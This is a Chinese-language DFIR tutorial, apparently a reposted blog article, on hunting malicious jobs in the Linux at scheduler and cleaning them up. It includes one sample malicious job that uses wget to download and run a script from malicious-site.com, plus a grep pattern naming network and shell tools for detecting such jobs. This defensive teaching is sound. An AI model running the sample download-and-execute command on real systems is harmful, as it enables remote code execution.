【应急响应】Linux 计划任务与 DFIR 排查实践(二)

news/2024/11/28 13:39:20/文章来源:https://www.cnblogs.com/o-O-oO/p/18574111

#linux应急响应 at服务 #cron 服务 #隐藏任务

🔖 在上一节【linux应急响应】Linux 计划任务与 DFIR 排查实践(一)中,我们深入探讨了 cron 服务,从基础排查到隐藏任务的分析排查,这一节我们一块看看cron的小兄弟at服务。

免责声明

本公众号文章中的程序、方法、信息和工具仅用于安全研究、教学、网络安全人员对网站及服务器的检测维护,禁止用于其他非法用途。使用者对不当使用造成的后果承担全部法律及连带责任,作者和公众号不担责。文中安全漏洞情报依公开信息整理,据此行动风险自担,如有侵权请告知。

at 服务

1.1 基本概念及命令

一次性任务:通过 at 命令设置

  1. 确定是否安装at服务

执行以下命令确认 at 是否已安装:

rpm -q at
dpkg -l | grep at

输出示例:

如果未安装,请使用以下命令安装:

yum install at
  1. at服务的相关文件

执行以下命令查看相关配置文件及目录:

rpm -ql at | grep etc

文件说明:

用户控制文件:/etc/at.deny:拒绝用户列表(默认允许所有用户)。/etc/at.allow:允许用户列表(优先级高于 at.deny,默认不存在)。服务文件:/etc/rc.d/init.d/atd:服务启动脚本( 在部分现代系统中可能被 systemd 替代)。/etc/pam.d/atd:身份验证机制。命令和任务目录:/usr/bin/at:定义计划任务。/usr/bin/atq:查看任务列表。/usr/bin/atrm:删除计划任务。/var/spool/at/:存储计划任务文本文件 [ 任务存储位置 ] (存储的任务是以时间戳命名的文本文件,其内容为任务的详细命令)🗝️
  1. at的常用命令🎊

  1. at命令格式

以下是一些时间格式示例:

任务定义:

输入任务内容后,按下 Ctrl+D 结束定义。

  1. 访问控制规则

at 服务允许通过以下两个文件管理用户权限:

/etc/at.allow:仅允许文件中指定用户使用服务(优先级高)。/etc/at.deny:拒绝文件中列出的用户(仅当 at.allow 不存在时生效)。检查 at.allow 和 at.deny,以防攻击者创建后门。[DFIR]
  1. 定义计划任务

示例 :定义简单任务

  1. 定义任务:
at now + 1min
  1. 输入任务内容:
touch /tmp/example_file
<Ctrl+D>

1.2 排查处置

  1. 查看当前系统的 at 队列

使用 atq 查看所有已计划的 at 任务。

atq# 输出示例:
1   2024-11-22 12:00 a user

第一列:任务编号。
第二列:任务计划时间。
第三列:任务类型(a: 普通任务)。
第四列:任务所属用户。

  1. 检查 at 任务的具体内容

使用 atrm 删除任务前,可以先通过 at -c 查看其内容。

at -c <任务编号>`
# 示例:
at -c 1#!/bin/sh
# executed by at(1) command
wget http://malicious-site.com/script.sh -O /tmp/malicious.sh && bash /tmp/malicious.sh

分析重点:

检查是否包含敏感操作,如 wget、curl、bash、python 、nc 等可用于下载或执行恶意脚本的命令。
注意任何未知 URL 或脚本路径。
执行非正常脚本(如未知的 .sh 或 .py)。
Base64 编码形式可能隐藏恶意命令。
  1. 搜索与at 服务相关的日志

Debian/Ubuntu 系统:
at 服务日志通常记录在 /var/log/syslog 中。

grep 'atd' /var/log/syslog# 示例输出:
Nov 22 10:00:01 hostname atd[12345]: Executing job 1 as user (username)

RHEL/CentOS 系统:
日志记录在 /var/log/messages 中。

grep 'atd' /var/log/messages

分析重点:

  • 确认任务是否由合法用户执行。
  • 检查任务内容是否与预期一致。
  1. 排查是否存在恶意用户创建的任务

查看是否有普通用户创建了可疑任务:atq -u <用户名>

检查 /var/spool/at 中是否有任务文件:ls -l /var/spool/at

  1. 搜索任务内容中的可疑命令

结合关键字搜索所有任务文件:

grep -Ei "(wget|curl|bash|python|nc|perl|sh|ftp|scp|tftp|telnet|openssl|base64|powershell|echo|eval|exec|chmod|chown|mkfifo|tcpdump)" /var/spool/at/*
  1. 防范与清理

删除恶意任务:atrm <任务编号>

限制普通用户使用 at 命令:

配置 /etc/at.allow 文件,仅允许特定用户使用 at:echo "root" > /etc/at.allow

或者禁用 /etc/at.deny 文件中列出的用户。

  1. 检查at 服务状态

确认 at 服务是否已启用:

systemctl status atd

如果服务不需要使用,可以禁用:

systemctl disable atd

小结

本文深入探讨了Linux中的at服务,包括其基础使用和如何排查和处理at服务中的安全问题。

在下一期中,我们将探讨anacron和Systemd Timers的概念及其在应急排查中的应用。Anacron是一个周期性执行任务的系统,适合不常启动的系统。Systemd Timers则是Systemd的一部分,用于创建和管理定时器,以触发服务的执行。这些工具对于自动化任务和系统维护至关重要,对于系统管理员和安全人员来说,了解它们的工作原理和配置方法对于提高系统安全性和效率具有重要意义。

原创 Y1x1n Y1X1n安全

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/842851.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vxe-table 表格中使用 element-ui 组件库的

在公司开发大型项目中,使用主流表格库 vxe-table 和 element-ui 组件库,可以在可编辑单元格中渲染非常简单的使用更多的组件 官网:https://vxetable.cn 安装 npm install vxe-pc-ui@3.3.9 vxe-table@3.11.10 @vxe-ui/plugin-render-element@3.0.0// ... import { VxeUI } fr…

独立开发者应该如何设计产品网站

我看到很多产品开发者习惯于先去“找模板”,再就着模板向里面填充内容,这是不对的。首先自己的思路是否理清了,其次所谓的模板,其内容层次结构是否适合自己的产品?我看到一些产品网站虽然看起来还算漂亮,但是传递的内容十分有限。背景 我在业余时间开发了一款自己的独立产…

七种方式监听前端代码报错

错误类型 1 SyntaxError SyntaxError是构建阶段错误,非运行阶段。解析时候发生语法错误无法捕获 2 TypeError TypeError 指的是:值不是所期待的类型3 ReferenceError ReferenceError 指的是:引用未声明的变量4 RangeErrorRangeError 指的是:当一个值不在其所允许的范围或者…

如何记录网站来访者的IP地址

js如何记录来访者ipEdit2 • 2024年9月23日 下午12:49 • 百科 JS如何记录来访者IP:使用服务器端语言、调用第三方API服务、结合前端和后端技术在JavaScript中,直接获取来访者的IP地址并不容易,因为JavaScript运行在客户端环境中,而IP地址信息通常在服务器端获取。为了实…

responsively-lazy 可实现响应式图片懒加载的js插件

在线演示 下载 responsively-lazy是一款非常实用的可实现响应式图片懒加载的插件。它可以根据容器的大小来智能选择加载适合尺寸的图片,做到图片的响应式效果。并且使用它对于SEO是十分友好的。该图片懒加载插件的特点还有:响应式图片 不做任何不必要的请求 可以在任何支持…

简单实用的鼠标滑过图片遮罩层动画jQuery插件

nsHover是一款简单实用的鼠标滑过图片遮罩层动画 JQUERY插件。该插件可以在图片或块级元素上制作鼠标滑过时的遮罩层动画效果,它可以设置遮罩层的前景色和背景色,可以制作圆形图片等,非常实用。在线演示 下载使用方法 使用该鼠标滑过插件需要引入jQuery和ns.hover.min.js文…

2024web漏洞扫描神器xray安装及使用_2024-11-28

一、功能 开源的Web漏洞扫描工具,支持以下漏洞XSS漏洞检测 (key: xss) SQL 注入检测 (key: sqldet) 命令/代码注入检测 (key: cmd-injection) 目录枚举 (key: dirscan) 路径穿越检测 (key: path-traversal) XML 实体注入检测 (key: xxe) 文件上传检测 (key: upload) 弱口令检测…

Rocky9 挂载磁盘

查看系统磁盘情况 fdisk -l使用Parted工具为数据盘进行分区。 运行以下命令开始分区。 parted /dev/sdb 运行以下命令,设置GPT分区格式 mklabel gpt 运行以下命令,划分一个主分区,并设置分区的开始位置和结束位置 mkpart primary 1 100% 运行以下命令,检查分区是否对齐 ali…

精准医学 | Scipher Medicine开发的MSRC预测TNFi疗效不佳

#文献速递 #精准医学 #类风湿关节炎++++++++++++++++++1. Scipher Medicine在ACR2024的一篇投稿, 证实了一些人关于"TNFi处方量下降"的担心. 但是可以推测, 相关药监/各种医疗保险可能会高兴. 这也可能会激发我们的好奇心, 即有没有可能开发融合蛋白型TNFi的专用疗效…

VScode配置C语言环境

第一步下载VScode:Visual Studio Code - Code Editing. Redefined 第二步搜索下载VScode插件: ​ C/C++Chinese上面两个插件安装完成后会提示重启VScode完成中文语言设置 第三步配置C语言编译器:https://wwgn.lanzoul.com/iB4US2gj0ayh 密码:8y95 下载完成后解压,这里我选…

Free5GC源码研究(10) - SMF研究(上)

本文研究Session Management Function (SMF)的功能SMF的概念 对于free5gc各NF的研究来到了最终阶段,只剩SMF和AMF两个功能,是时候回顾一下TS23.501中的这几张网络架构图。首先是这一张经典的非漫游情境下各NF的交互架构:这张图里,核心网所有的NF通过SBI总线相连,本质上就…

jquery计数器动画特效

这是一款jquery计数器动画特效。该jquery计数器动画特效使用bootstrap网格系统进行布局,然后通过jQuery animate方法来制作炫酷的计数器动画特效。在线演示 下载使用方法 在页面中引入jquery,bootstrap.min.css和font-awsome.min.css文件。< link href="dist/boots…